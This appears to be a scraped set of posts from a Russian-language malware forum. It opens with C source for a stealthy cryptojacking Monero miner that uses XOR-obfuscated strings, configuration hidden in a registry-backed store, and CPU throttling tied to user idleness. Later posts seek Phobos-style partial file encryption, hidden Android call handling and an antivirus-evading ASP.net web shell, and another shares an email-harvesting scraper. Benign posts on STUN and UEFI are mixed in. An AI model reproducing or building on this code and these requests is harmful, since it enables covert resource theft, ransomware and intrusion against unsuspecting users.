void encrypt_message_body(char* udp_port, unsigned char** message_body, unsigned long* message_body_length)
{
bool success = false;
int udp_port_length = ansi_strlen(udp_port);
// send the new peer list as a response to the peer which connected with us
*message_body = (unsigned char*) realloc_memory(*message_body, *message_body_length + 1/*delimeter*/ + udp_port_length/*max key length*/, &success);
if (*message_body)
{
// prepend the udp port of the current peer as the encryption key for the current frame
unsigned char* prepended = (unsigned char*)alloc_memory(udp_port_length + 1);
if (prepended)
{
copy_memory(prepended, udp_port, udp_port_length);
copy_memory(prepended + udp_port_length, (void*)"|", 1);
rc4_state peer_state;
set_mem_static(peer_state, sizeof(peer_state));
// set the rc4 key (udp port) and encrypt the context of the peer list with it
rc4_init(&peer_state, (unsigned char*)udp_port, udp_port_length);
rc4_crypt(&peer_state, *message_body, *message_body, *message_body_length);
// then append the udp port to the newly encrypted list
prepend_memory(*message_body, prepended);
*message_body_length += (1 + udp_port_length);
free_memory(prepended);
}
}
}
bool send_pool_request(connection_info conn_info, int pool_socket, const char* method_type, const char* params, unsigned char** response)
{
bool status = false;
if (&conn_info)
{
unsigned char* pool_request = (unsigned char*) alloc_memory(1024);
if (pool_request)
{
char* ansi31 = 0;
xor_string(ansi, (unsigned char**)&ansi31, (unsigned char*)ansi_table[31], 18, 31);
unsigned long request_size = wsprintfA((char*) pool_request,
ansi31, method_type, params);
free_memory(ansi31);
encrypt_message_body(conn_info.udp_port, &pool_request, &request_size);
send_message(conn_info, pool_socket, pool_request, request_size, false);
int bytes_to_recv = 1024;
status = recv_message(pool_socket, response, 0, 0, &bytes_to_recv);
free_memory(pool_request);
}
}
return status;
}
char* __stdcall hash_cryptonight(char* bin, int variant, unsigned long long height)
{
int bin_length = ansi_strlen(bin);
if (bin_length <= 0)
return 0;
char hash[32];
set_mem_static(hash, 32);
cn_slow_hash(bin, bin_length, hash, variant, height);
return hash;
}
struct miner_information
{
int pool_sock;
mining_tasks* task;
connection_info conn_info;
unsigned long* block_nonce;
unsigned long added_delays;
unsigned long mining_started;
unsigned long long* total_hashes;
};
unsigned long __stdcall mining_thread(void* params)
{
double cpu_times[64];
set_mem_static(cpu_times, 64 * sizeof(double));
miner_information* miner_info = (miner_information*) params;
if (miner_info) return 0;
SYSTEM_BASIC_INFORMATION system_info;
set_mem_static(system_info, sizeof::SYSTEM_BASIC_INFORMATION);
// get the number of cpu cores available in the current system
NTSTATUS status = NtQuerySystemInformation(SystemBasicInformation, &system_info, sizeof(system_info), 0);
if (!NT_SUCCESS(status)) return 0;
// lets bust this hash!
do
{
unsigned long hashing_start_time = get_tick_count();
copy_memory(miner_info->task->hashing_blob + 39, &*miner_info->block_nonce, sizeof(unsigned long));
char* hash = 0;
// based on the response of the block minor version - use the preferred hashing method
switch (miner_info->task->algorithm)
{
case RANDOM_X:
{
hash = hash_randomx((char*)miner_info->task->hashing_blob,
miner_info->task->seed_hash, miner_info->task->height, system_info.NumberOfProcessors);
}
break;
case CRYPTONIGHT_R:
{
hash = hash_cryptonight((char*)miner_info->task->hashing_blob,
miner_info->task->block_version, miner_info->task->height);
}
break;
}
++(*miner_info->total_hashes);
if (hash)
{
bool exit_hashing_loop = false;
// the value of the target is returned on the 24..32 bytes of the hash
unsigned long long hash_target = str_to_ull(&hash[24]);
if (hash_target > 0 && hash_target < miner_info->task->target)
{
unsigned long mining_ended = 0;
// determine the time at which the miner finished cracking this hash
get_epoch_timestamp(&mining_ended);
// remove any added delays in this current hashing session
if (miner_info->added_delays)
{
mining_ended -= (miner_info->added_delays * 15000);
miner_info->added_delays = 0;
}
// todo: update avg hashrate in miner.cfg (to calculate network hashrate more accurately than current)
unsigned long session_hash_rate = *miner_info->total_hashes / (mining_ended - miner_info->mining_started);
char hex_hash[64];
set_mem_static(hex_hash, 64);
bin_to_hex((unsigned char*) hash, 32, hex_hash);
char params[1024], *ansi36 = 0, *ansi37 = 0;
xor_string(ansi, (unsigned char**)&ansi36, (unsigned char*)ansi_table[36], 76, 36);
set_mem_static(params, 1024);
wsprintfA(params, ansi36,
miner_info->task->task_id, miner_info->block_nonce, hex_hash, session_hash_rate);
free_memory(ansi36);
unsigned char* submission_response = 0;
xor_string(ansi, (unsigned char**)&ansi37, (unsigned char*)ansi_table[37], 4, 37);
if (send_pool_request(miner_info->conn_info, miner_info->pool_sock, ansi37, params, &submission_response))
exit_hashing_loop = true;
free_memory(ansi37);
}
else exit_hashing_loop = true;
set_memory(hash, 0, 32);
if (exit_hashing_loop)
{
*miner_info->block_nonce = 1;
return 0;
}
}
(*miner_info->block_nonce)++;
int prev_cpu_throttle = 0, total_sleep_time = 0;
/* unfortunately below Windows 8 we cannot throttle the cpu of the
process automatically so we will need to do it ourselves */
if (SharedUserData->NtMajorVersion == 6 && SharedUserData->NtMinorVersion < 2)
{
int max_cpu_usage = 40;
double total_cpu_time = 0;
KERNEL_USER_TIMES current_thread_time;
set_mem_static(current_thread_time, sizeof::KERNEL_USER_TIMES);
RtlEnterCriticalSection(&g_critical_section);
// this part will heat up the cpu if its executed rapidly, so lets only execute it
// the first few cycles and then every 2 seconds
if (total_sleep_time > 2000 || total_sleep_time < 5)
{
NTSTATUS status = NtQueryInformationThread(NtCurrentTeb()->ClientId.UniqueThread,
ThreadTimes, ¤t_thread_time, sizeof::KERNEL_USER_TIMES, 0);
if (NT_SUCCESS(status))
{
unsigned long hashing_end_time = get_tick_count() - hashing_start_time;
double cpu_usage = (double)((current_thread_time.KernelTime.QuadPart + current_thread_time.UserTime.QuadPart) / (hashing_end_time) / system_info.NumberOfProcessors);
int number_of_entries = (sizeof(cpu_times[0]) / sizeof(cpu_times));
if (number_of_entries < 64)
{
for (int n = number_of_entries; n >= 0; total_cpu_time += cpu_times[n], --n) cpu_times[n + 1] = cpu_times[n];
total_cpu_time += (cpu_times[0] = cpu_usage);
total_cpu_time /= number_of_entries;
}
max_cpu_usage = is_user_idle(false) ? 100 : 40;
}
total_sleep_time = 0;
}
else total_sleep_time += prev_cpu_throttle;
switch (max_cpu_usage)
{
case 40:
{
if (total_cpu_time > (40 + 1))
prev_cpu_throttle++;
else
if (total_cpu_time < (40 - 1) && prev_cpu_throttle > 1)
prev_cpu_throttle--;
break;
}
default: if (total_cpu_time < (100 - 1) && prev_cpu_throttle > 1) prev_cpu_throttle--;
}
timeout(prev_cpu_throttle);
RtlLeaveCriticalSection(&g_critical_section);
}
}
while (true);
return 1;
}
int __stdcall WinMain(HINSTANCE curr_base, HINSTANCE prev_base, char* args, int display)
{
_p2p_data p2p_data;
set_mem_static(p2p_data, sizeof::_p2p_data);
RtlInitializeCriticalSection(&g_critical_section);
// allocate the linked-list of mining operations
mining_operations = (mining_tasks*) alloc_memory(sizeof::mining_tasks);
// the argument to the miner will be the default encryption key (also the EFS key name)
p2p_data.encryption_key = args;
unsigned long long total_hashes = 0;
unsigned long previous_container_size = 0;
// used to determine if the mutex has been verified so we can poll pool nodes
bool poll_pool_nodes = false;
do
{
wchar_t* uni50 = 0;
xor_string(unicode, (unsigned char**)&uni50, (unsigned char*)unicode_table[50], 9, 50);
*(uni50 + 9) = L'\0';
// get the configuration data from the EFS registry hive
get_key_value<unsigned char*>(current_user, uni50, 9, p2p_data.encryption_key, &*p2p_data._efs.container_memory, p2p_data._efs.container_length);
free_memory(uni50);
char* worker_uid = 0, *ansi22 = 0;
xor_string(ansi, (unsigned char**)&ansi22, (unsigned char*)ansi_table[22], 9, 22);
unsigned long miner_cfg_address = 0, process_id = 0, worker_uid_length = 0, mining_started = 0, block_nonce;
// look for the miner.cfg file in the EFS
container_info* miner_cfg = EFS_search(p2p_data._efs, ansi22, &miner_cfg_address);
free_memory(ansi22);
if (miner_cfg && previous_container_size != miner_cfg->file_plain_size)
{
unsigned char* miner_config = 0;
// extract the miner config from memory
extract_memory(&miner_config, *p2p_data._efs.container_memory + miner_cfg_address, miner_cfg->file_plain_size);
if (miner_config)
{
previous_container_size = miner_cfg->file_plain_size;
// this should only be executed on the first loop
if (!poll_pool_nodes)
{
char* process_name = 0;
// get the process id and process name;
get_process_info(&process_name, &process_id);
if (process_name)
{
// returns true if the config is empty or if the existing mutex isnt running or false if its already running
bool status = verify_config_mutex(p2p_data._efs, miner_cfg, miner_config, process_name, process_id);
if (!status) return 0;
else
{
// get the unique worker id for the current user
get_user_id(&worker_uid, &worker_uid_length);
poll_pool_nodes = true;
block_nonce = 1;
}
free_memory(process_name);
}
}
unsigned long added_delays = 0;
if (poll_pool_nodes)
{
char* pool_list = 0, *ansi32 = 0;
xor_string(ansi, (unsigned char**)&ansi32, (unsigned char*)ansi_table[32], 5, 32);
// lets determine if a list of available pool-nodes exists
get_http_header((char*) miner_config, ansi32, &pool_list, true);
free_memory(ansi32);
if (pool_list)
{
char** pools = 0;
unsigned long num_pools = php_explode(pool_list, "|", &pools);
for (int n = 0; n < num_pools; ++n)
{
unsigned long separator = get_delimeter<const char>(pools[n], ":");
if (separator != -1)
{
connection_info conn_info;
set_mem_static(conn_info, sizeof::connection_info);
extract_data(&conn_info.udp_address, pools[n], separator);
extract_data(&conn_info.udp_port,
pools[n] + (separator + 1), ansi_strlen(pools[n]) - (separator + 1));
int num_characters = count_characters(conn_info.udp_address, '.');
conn_info.type = (num_characters == 3 ? addr_ipv4 : addr_ipv6);
int pool_sock = get_socket(&conn_info);
if (pool_sock)
{
// since we connected to a new pool, reset the total hashes
total_hashes = 0;
// update the time which we started the mining operation for the current pool
get_epoch_timestamp(&mining_started);
// so that in case we get disconnected we can refresh a new pool-node list
n = num_pools;
// and send CRC32 encoded unique worker id to the pool-node for login
send_message(conn_info, pool_sock, (unsigned char*) worker_uid, worker_uid_length, false);
do
{
int retry_count = 0;
retry_knock:
char* knock_response = 0, *ansi33 = 0, *ansi34 = 0, *ansi35 = 0;
xor_string(ansi, (unsigned char**)&ansi33, (unsigned char*)ansi_table[33], 4, 33);
// verify that the pool-node sends responses to request data
bool status = send_pool_request(conn_info, pool_sock, ansi33, "", (unsigned char**) &knock_response);
free_memory(ansi33);
if (knock_response)
{
xor_string(ansi, (unsigned char**)&ansi34, (unsigned char*)ansi_table[34], 4, 34);
bool server_response = a_str_compare(knock_response, ansi34) == 0;
free_memory(ansi34);
if (!server_response)
{
// if the pool-node fails to respond then lets make another 3 attempts
free_memory(knock_response);
timeout(15 * 1000);
// increment the number of delays (to properly calculate hashrate)
added_delays++;
if (retry_count < 3)
{
++retry_count;
goto retry_knock;
}
// but if it doesnt respond after 45 seconds then assume its dead and disconnect
else break;
}
}
// no memory-leaks please))
if (status) free_memory(knock_response);
unsigned char* response_data = 0;
xor_string(ansi, (unsigned char**)&ansi35, (unsigned char*)ansi_table[35], 4, 35);
// the next connection to the pool should be started by sending a command to obtain block template
status = send_pool_request(conn_info, pool_sock, ansi35, "", &response_data);
free_memory(ansi35);
if (status)
{
// extract the block template data from the login request
mining_tasks* task = parse_operation_response(mining_operations, response_data);
if (task)
{
miner_information* miner_info = (miner_information*) alloc_memory(sizeof::miner_information);
if (miner_info)
{
miner_info->added_delays = added_delays;
*miner_info->block_nonce = block_nonce;
miner_info->conn_info = conn_info;
miner_info->mining_started = mining_started;
miner_info->pool_sock = pool_sock;
*miner_info->total_hashes = total_hashes;
miner_info->task = task;
/*
in order to throttle the cpu usage, we will create
designated thread for the hashing process in order
to properly verify threaded cpu consumption
*/
void* mining_thread_handle = CreateThread(0, 0, mining_thread, task, 0, 0);
if (mining_thread_handle)
wait_for_single_object(mining_thread_handle, INFINITE);
free_memory(miner_info);
}
}
free_memory(response_data);
}
}
while (true);
closesocket(pool_sock);
}
free_memory(conn_info.udp_address);
free_memory(conn_info.udp_port);
}
}
free_memory(pool_list);
}
}
free_memory(miner_config);
}
}
// since we got to here we should free the previous container memory and prepare for the new one
free_memory(*p2p_data._efs.container_memory);
// wait 30 seconds to poll the EFS again
timeout(30 * 1000);
}
while (true);
return 1;
}
Копался в файлах пк и наткнулся на небольшой проект PE криптора, мб кому полезно будет.
there is not much knowledge --> inside android API or even such demon java
himself
is such possible to completely hide such incoming call himself --> without UI
elements + notifications --> inside background completely?
from my understand --> android public API does not allow such
without display any custom UI overlay on top --> only hide complete
Hi guys
I want to encode part of a file but everything I do fails.
I want to encrypt part of a file, for example 7-10 MB of large files (files less than 10 MB to be fully encrypted)
Or like Phobos, encrypt three parts of each file. First, middle and last
And also do not have trouble decoding.
I will be grateful if you help me.
-----------------------------------------------------------------------------------------------------------------
Till: Install necessary dependencies from nuggets or preferred market
create a console app and add reference to class lib project
//Code
using System.Net;
using System.Net.Mime;
using System.Text.RegularExpressions;
using HtmlAgilityPack;
using Microsoft.Extensions.DependencyInjection;
using Polly;
namespace EmailFinder.Finders;
public class Finder
{
private IServiceProvider _service;
private IHttpClientFactory? _httpclient;
HashSet
HashSet
private string html = String.Empty;
public Finder()
{
_service = new ServiceCollection().AddHttpClient().BuildServiceProvider();
_httpclient = _service.GetService
}
public async Task<HashSet
{
try{
var policy =
Policy.Handle
if(context != null)
{
var request = new HttpRequestMessage(HttpMethod.Get,
context.OperationKey.ToString());
}
});
using(var client = _httpclient.CreateClient())
{
HttpRequestMessage requestMessage = new HttpRequestMessage()
{
RequestUri = new Uri(website),
Headers = {
{"Connection", "keep-alive"},
{"User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile
Safari/537.36"},
{"Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-
exchange;v=b3;q=0.7"},
{"Accept-Language", "en-US,en;q=0.5"},
},
Method = HttpMethod.Get
};
var response = await policy.ExecuteAsync(async() => await
client.SendAsync(requestMessage));
html = response.Content.ReadAsStringAsync().Result;
}
HtmlDocument document = new HtmlDocument();
document.LoadHtml(html);
HtmlNodeCollection nodes =
document.DocumentNode.SelectNodes("//ul[li/a[@href]]//a[@href]");
foreach(var url in nodes)
{
string link = url.GetAttributeValue("href", "");
string fulllink = String.Empty;
if(!link.Contains(website[..^1]))
{
fulllink = website + link;
urls.Add(fulllink);
}else
{
urls.Add(link);
}
}
var checkhomepage = await GetEmail(website);
if(checkhomepage.Count > 0)
{
Console.WriteLine("Email Found!");
}else
{
var priortizelist = urls.OrderByDescending(url =>
url.ToLower().Contains("about") || url.ToLower().Contains("about"));
foreach(var url in priortizelist)
{
var checkotherpage = await GetEmail(url);
if(checkotherpage.Count > 0)
{
Console.WriteLine("Email Found");
break;
}else
{
Console.WriteLine("Email not Found");
}
}
}
}catch(HttpRequestException ex)
{
Console.WriteLine(ex.Message);
}
return urls;
}
public async Task<HashSet
{
string html = string.Empty;
try
{
var retrypolicy =
Policy.Handle
using(var client = httpclient.CreateClient())
{
HttpRequestMessage request = new HttpRequestMessage()
{
RequestUri = new Uri(website),
Headers = {
{"Connection", "keep-alive"},
{"User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Mobile
Safari/537.36"},
{"Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-
exchange;v=b3;q=0.7"},
{"Accept-Language", "en-US,en;q=0.5"},
},
Method = HttpMethod.Get
};
var response = await retrypolicy.ExecuteAsync(async() => await
client.SendAsync(request));
html = response.Content.ReadAsStringAsync().Result;
}
string emailpattern = @"\b[A-Za-z0-9.%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b";
MatchCollection emailmatch = Regex.Matches(html, emailpattern);
foreach(Match item in emailmatch)
{
if(!emails.Contains(item.Value.Trim()))
{
await using(var sw = File.AppendText("leads.txt"))
{
await sw.WriteLineAsync(item.Value.Trim().ToString());
}
}
emails.Add(item.Value.Trim());
}
// HtmlDocument document = new HtmlDocument();
// document.LoadHtml(html);
// HtmlNodeCollection nodes =
document.DocumentNode.SelectNodes("//text()[matches(., '[^@]+@[^@]+')]");
// foreach(var item in nodes)
// {
// emails.Add(item.InnerText.ToString());
// }
}catch(HttpRequestException ex)
{
Console.WriteLine(ex.Message);
}
return emails;
}
}
Добрий день стала интересна данная тема, реализация происходит через апи в основном, всегда ли это возможно? и есть ли у кого интересные статьи советы?
I need a simple ASP.net Web Shell / Manager with the following features
Read data with MYSQL and MSSQL
Export data from table and / or DB
Export as CSV, Excel, SQL
Not detected by Antivirus
In the meantime, there is no need to know about it.
I will pay something reasonable agreed through escrow or not if you give me to test first.
PM for deals only.
Sorry for writing in English..my Russian is not good.
is there somewhere free "Code Machine" (Malware Techniques Training) course??
Есть безумная идея, создать альтернативу умершему PcHunter. Безумная потому
что, кажется сложно выполнимой, по крайне мере для меня.
Почему именно "Охотник"? - потому что, только в нем реализована функция
удаления любого софта на корню, любая ав которая его пропустила, отлетит без
проблем, в альтернативах такого нет (пр. GMER)
На гите нашел сурс на так называемый
OpenArkhttps://github.com/BlackINT3/OpenArk.git,
но запустив потестив, че то даже не смог закрыть каспера, то есть каспер даже
не реагирует.
Так вот, вопрос насколько это вообще реально ( в опыте несколько лет
разработки на Си и C#)? И как вообще создатели Хантера реализовали функцию
удаления Руткитов?
I have a problem about controlling which thread should have preference when reading from standard input. The program main thread have a prompt loop and another thread which enqueue commands. Some commands is supposed to establish a shell and then takeover the standard input/output. But I don't know how to do this properly yet and both threads are trying to read at the same time.
Any tips are welcome.
is it safe to use chatgpt in tor browser when you ask simple coding questions, not obvious ones that are connected with malware development? just simple prove of concept things that you can rewrite and use?
Введение
В этой статье мы рассмотрим пример кода на C++, который использует библиотеку
Winsock для выполнения STUN-теста. STUN (Session Traversal Utilities for NAT)
Подготовка к работе
Для начала мы подключаем необходимые заголовочные файлы:
C++:Copy to clipboard
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
Также, мы указываем компилятору использовать библиотеку ws2_32.lib
, которая
содержит функции Winsock:
C++:Copy to clipboard
#pragma comment(lib, "ws2_32.lib")
Основной код
Мы начинаем с определения макросов для обработки ошибок:
C++:Copy to clipboard
#define REPORT_ERROR(msg) \
do { \
std::cerr << msg << std::endl; \
return; \
} while (0)
// Другие макросы для обработки ошибок
Далее, у нас есть структура stunPack
, представляющая STUN-пакет:
C++:Copy to clipboard
struct stunPack {
uint16_t MessageType;
uint16_t MessageLength;
uint32_t MessageCookie;
uint8_t MessageTransactionID[12];
};
Мы также имеем функции BEbytes
, которые выполняют перекодировку чисел в
сетевой порядок байт:
C++:Copy to clipboard
void BEbytes(void* buffer, uint16_t value);
void BEbytes(void* buffer, uint32_t value);
Функция StunRequest
выполняет запрос к STUN-серверу:
C++:Copy to clipboard
void StunRequest(const std::string& server, SOCKET sock);
Функция xorAddr
используется для обработки ответа от STUN-сервера и
извлечения IP-адреса и порта:
C++:Copy to clipboard
void xorAddr(const uint8_t* b, std::string& result);
Основная функция
В функции StunTest
мы инициализируем Winsock и создаем сокет:
C++:Copy to clipboard
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
REPORT_ERROR("Failed to initialize Winsock");
}
SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == INVALID_SOCKET) {
REPORT_ERROR("Failed to create socket");
WSACleanup();
return;
}
Затем мы выполняем запрос к STUN-серверу (в данном случае, "stun.l.google.com") и ожидаем ответ:
C++:Copy to clipboard
StunRequest("stun.l.google.com", sock);
char buffer[1024];
while (true) {
int bytesReceived = recv(sock, buffer, sizeof(buffer), 0);
if (bytesReceived == SOCKET_ERROR) {
REPORT_ERROR("Error receiving data");
}
if (bytesReceived >= 6) {
std::string s;
xorAddr(reinterpret_cast<uint8_t*>(buffer + bytesReceived - 6), s);
std::cout << s << std::endl;
}
}
Заключительные шаги включают закрытие сокета и очистку Winsock:
C++:Copy to clipboard
closesocket(sock);
WSACleanup();
Весь код
C++:Copy to clipboard
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iostream>
#include <string>
#pragma comment(lib, "ws2_32.lib")
#define REPORT_ERROR(msg) \
do { \
std::cerr << msg << std::endl; \
return; \
} while (0)
#define REPORT_ERROR_NULL(msg) \
do { \
std::cerr << msg << std::endl; \
return nullptr; \
} while (0)
#define REPORT_ERROR_EMPTY_STRING(msg) \
do { \
std::cerr << msg << std::endl; \
return ""; \
} while (0)
#define REPORT_ERROR_NEGATIVE_INT(msg) \
do { \
std::cerr << msg << std::endl; \
return -1; \
} while (0)
struct stunPack {
uint16_t MessageType;
uint16_t MessageLength;
uint32_t MessageCookie;
uint8_t MessageTransactionID[12];
};
void BEbytes(void* buffer, uint16_t value) {
*(uint16_t*)buffer = htons(value);
}
void BEbytes(void* buffer, uint32_t value) {
*(uint32_t*)buffer = htonl(value);
}
void StunRequest(const std::string& server, SOCKET sock) {
addrinfo hints, * result = nullptr;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_DGRAM;
if (getaddrinfo(server.c_str(), "19302", &hints, &result) != 0) {
REPORT_ERROR("Failed to resolve server address");
}
stunPack sp;
sp.MessageType = htons(1);
sp.MessageLength = htons(0);
sp.MessageCookie = htonl(0x2112A442);
uint8_t transactionID[12] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 };
memcpy(sp.MessageTransactionID, transactionID, sizeof(transactionID));
if (sendto(sock, (const char*)&sp, sizeof(sp), 0, result->ai_addr, (int)result->ai_addrlen) == SOCKET_ERROR) {
REPORT_ERROR("Failed to send data");
}
freeaddrinfo(result);
}
void xorAddr(const uint8_t* b, std::string& result) {
uint16_t port = ntohs(*(uint16_t*)b);
port ^= 0x2112;
struct in_addr addr;
addr.S_un.S_un_b.s_b1 = b[2] ^ 0x21;
addr.S_un.S_un_b.s_b2 = b[3] ^ 0x12;
addr.S_un.S_un_b.s_b3 = b[4] ^ 0xa4;
addr.S_un.S_un_b.s_b4 = b[5] ^ 0x42;
char ipAddress[INET_ADDRSTRLEN];
if (inet_ntop(AF_INET, &addr, ipAddress, INET_ADDRSTRLEN) == nullptr) {
REPORT_ERROR("Failed to convert IP address");
}
result = ipAddress + std::string(":") + std::to_string(port);
}
void StunTest() {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
REPORT_ERROR("Failed to initialize Winsock");
}
SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == INVALID_SOCKET) {
REPORT_ERROR("Failed to create socket");
WSACleanup();
return;
}
StunRequest("stun.l.google.com", sock);
//StunRequest("stun1.l.google.com", sock);
//StunRequest("stun2.l.google.com", sock);
//StunRequest("stun3.l.google.com", sock);
char buffer[1024];
while (true) {
int bytesReceived = recv(sock, buffer, sizeof(buffer), 0);
if (bytesReceived == SOCKET_ERROR) {
REPORT_ERROR("Error receiving data");
}
if (bytesReceived >= 6) {
std::string s;
xorAddr(reinterpret_cast<uint8_t*>(buffer + bytesReceived - 6), s);
std::cout << s << std::endl;
}
}
closesocket(sock);
WSACleanup();
}
int main() {
StunTest();
return 0;
}
Завершение
Этот пример кода демонстрирует, как использовать Winsock для выполнения STUN-
теста и извлечения IP-адреса и порта. Вы можете адаптировать этот код для
своих нужд и использовать его в своих проектах, связанных с сетевой
коммуникацией.
Всем привет!
Нужна софтина для винды, которая отправит на все сетевые принтеры целевой
документ.
Может и батником можно обойтись - не важно. Главное автоматизировать процесс.
Поможете? Отблагодарю монеро\лайтом
the "UEFI" describes a programmatic interface to plstforn the platform
includes the motherboard, some chipset & CPU and other components dosen't
metter now the UEFI will be allow pre-os pre-oprating system and pre-os agents
are os loaders & diagnostics system needs for application to execute and
interoperate, including uefi drv and applications. UEFI
**
[+] Objects managed by UEFI**
1-manage system state
2-including I/O devices
3- memory
4- eventsClick to expand...
[+] UEFI System Table(UST)
1 - Data structure with data information tables
2 - functions to interface the systemsClick to expand...
[+] Handle database and protocols : which callable interfaces are registered
[+] UEFI Images : the executable content format by which code is deployed
[+] Events : which software can be signaled in response to s0me other activity
[+] Device paths - a data structure that describes the hardware location of an entity such as
Click to expand...
1-bus
2-spindle
3-partition
4- and file name of a UEFI image on a formatted disk.Click to expand...
Objects Managed by UEFI
//C for edk2
Objects of several differing types are managed through the services provided
by UEFI. The following figure shows the various object types. The most
important objects for UEFI drivers are the following:
UEFI system table
memory
handle
images
eventsSome UEFI drivers may need to access environment variables, but most do not.
Rarely do UEFI drivers require the use of a monotonic counter, watchdog timer or realtime clock.
The UEFI system table provides access to all services provided by UEFI. The system table also provides access to all the additional data structures that describe the configuration of the platform. Each of these object types, and the services that provide access to them, are introduced in the following sections.Click to expand...
UEFI System Table
[+pointer+] most important data structure why ? becuase passed into each
driver and application as part of its entry-point from this data structure can
gain access to system conf information &
rich collection of uefi service include
UEFI BOOT SERVICE
UEFI RUNTIME SERVICE
PROTOCOL SERVICESClick to expand...
the UEFI BOOT SERVICE and UEFI RUNTIME SERVICE are accessed through the uefi boot service table and the UEFI Runtime Services Table
Both of these tables are data fields in the UEFI System Table
Protocol services are groups of related functions and data fields that are
named by (GUID) protocol services are used to provide software abstractions
for devices such as consoles, disks, and networks, but they can be used to
extend the number of generic services that are available in the platform
Specification defines over 30 different protocols, and various implementations
of UEFI firmware and UEFI drivers may produce additional protocols to
extend the functionality of a platform.
Handle Database
handle database is composed of objects called handles and protocols
handles are collection 1 or 1+ protocols & protocols are data structure named
by GUID
1 - data structure protocol can be empty
2 - can contain data fields
3 - can contain servicesClick to expand...
when UEFI initialization 1-UEFI Drivers 2- system firmware 3- UEFI
applications create handles and attach 1 or 1+ protocols to the handle
Information in the handle database is global and can be accessed by
any executable UEFI image
The handle database is the central repository for the objects that are
maintained by UEFI-based firmware. The handle database is a list of UEFI
handles, and each UEFI handle is identified by a unique handle number that is
maintained by the system firmware. A handle number provides a database "key”
to an entry in the handle database. Each entry in the handle database
is a collection of one or more protocols. The types of protocols, named by a
GUID, that are attached to a UEFI handle determine the handle type. A UEFI
handle may represent components such as the following:
Executable images such as UEFI drivers and UEFI applications
Devices such as network controllers and hard drive partitions
UEFI services such as UEFI Decompression and the EBC Virtual
MachineClick to expand...
The image on the top is the different types of handles that can be found in
the handles database and the relationships between the different types of
handles All handles reside in the same handle database and the types of
protocols that
are associated with each handle differentiate the handle type Like file system
handles in an operating system context handles are unique for the session, but
the values can be arbitrary. Also, like the handle returned from an fopen
function in a C library, the value does not necessarily serve a useful purpose
in a different process or during a subsequent restart in the same process. The
handle
is just a transitory value to manage state.
_**credit : thx so match for my old notes and edk2
i apologize if I made a mistake in a specific point and please correct it and add extra information if you have it because I did not put all the information for several reasons**_
ТОЛЬКО ДЛЯ ТЕХ. Кто имел опыт работы в написании драйверов. Дам тест Задание с
оплатой (написать драйвер для Windows). + дальнейшее сотрудничество.
за деталями в лс, дам контакт тг или токс
Начал изучать С++, переменные норм пошли, а вот циклы уже сложней.
Посоветуйте литературу, пожалуйста.
1 - SEC (Security) phase: Handles CPU initialization to create stack cpu cache
"When it reaches the (1)"SEC" stage, it only works to initialize the internal
resources of the CPU for several reasons that I do not want to mention now."
2 - CAR (Cache As RAM) : When use it as a memory called CAR.
3 - PEI(Pre-EFI initialization) : Finishes CPU initialization. And a way to
load and call configuration actions Processor (2) give control to dxe
4 - EFI_SEC_PEI_HAND_OFF : Contains information about "PEI" such as size,
memory location, stack location and location BFV
C++:Copy to clipboard
typedef struct _EFI_SEC_PEI_HAND_OFF{
UINT16 DataSize; // size of data structure
VOID *BootFirmwareVolumeBase; // points to the first byte of the boot firmware volume where the pei
UINTN BootFirmwareVolumeSize;// size of boot firmware in bytes
VOID *TemporaryRamBase;// points to the first byte of temporary RAM
UINTN TemporaryRamSize; // size temporary RAM
VOID *PeiTemporaryRamBase; // points to the first byte of temporary RAM usable by PEI
UINTN PeiTemporaryRamSize; //size temporary RAM available to PEI Foundation
VOID *StackBase; // point to first byte of the stack
UINTN StackSize;// size of stack base
}EFI_SEC_PEI_HAND_OFF;
5 - EFI_FIRMWARE_VOLUME_HEADER* : points to data structure have a information about PEI() (size and location )
C++:Copy to clipboard
[LIST=1]
[*]typedef struct {
[*] ///
[*] /// The first 16 bytes are reserved to allow for the reset vector of
[*] /// processors whose reset vector is at address 0.
[*] ///
[*] UINT8 ZeroVector[16];
[*] ///
[*] /// Declares the file system with which the firmware volume is formatted.
[*] ///
[*] EFI_GUID FileSystemGuid;
[*] ///
[*] /// Length in bytes of the complete firmware volume, including the header.
[*] ///
[*] UINT64 FvLength;
[*] ///
[*] /// Set to EFI_FVH_SIGNATURE
[*] ///
[*] UINT32 Signature;
[*] ///
[*] /// Declares capabilities and power-on defaults for the firmware volume.
[*] ///
[*] EFI_FVB_ATTRIBUTES_2 Attributes;
[*] ///
[*] /// Length in bytes of the complete firmware volume header.
[*] ///
[*] UINT16 HeaderLength;
[*] ///
[*] /// A 16-bit checksum of the firmware volume header. A valid header sums to zero.
[*] ///
[*] UINT16 Checksum;
[*] ///
[*] /// Offset, relative to the start of the header, of the extended header
[*] /// (EFI_FIRMWARE_VOLUME_EXT_HEADER) or zero if there is no extended header.
[*] ///
[*] UINT16 ExtHeaderOffset;
[*] ///
[*] /// This field must always be set to zero.
[*] ///
[*] UINT8 Reserved[1];
[*] ///
[*] /// Set to 2. Future versions of this specification may define new header fields and will
[*] /// increment the Revision field accordingly.
[*] ///
[*] UINT8 Revision;
[*] ///
[*] /// An array of run-length encoded FvBlockMapEntry structures. The array is
[*] /// terminated with an entry of {0,0}.
[*] ///
[*] EFI_FV_BLOCK_MAP_ENTRY BlockMap[1];
[*]} EFI_FIRMWARE_VOLUME_HEADER;
[/LIST]
after entering the "SEC Phase" area,first use "CAR" is used to initialize the
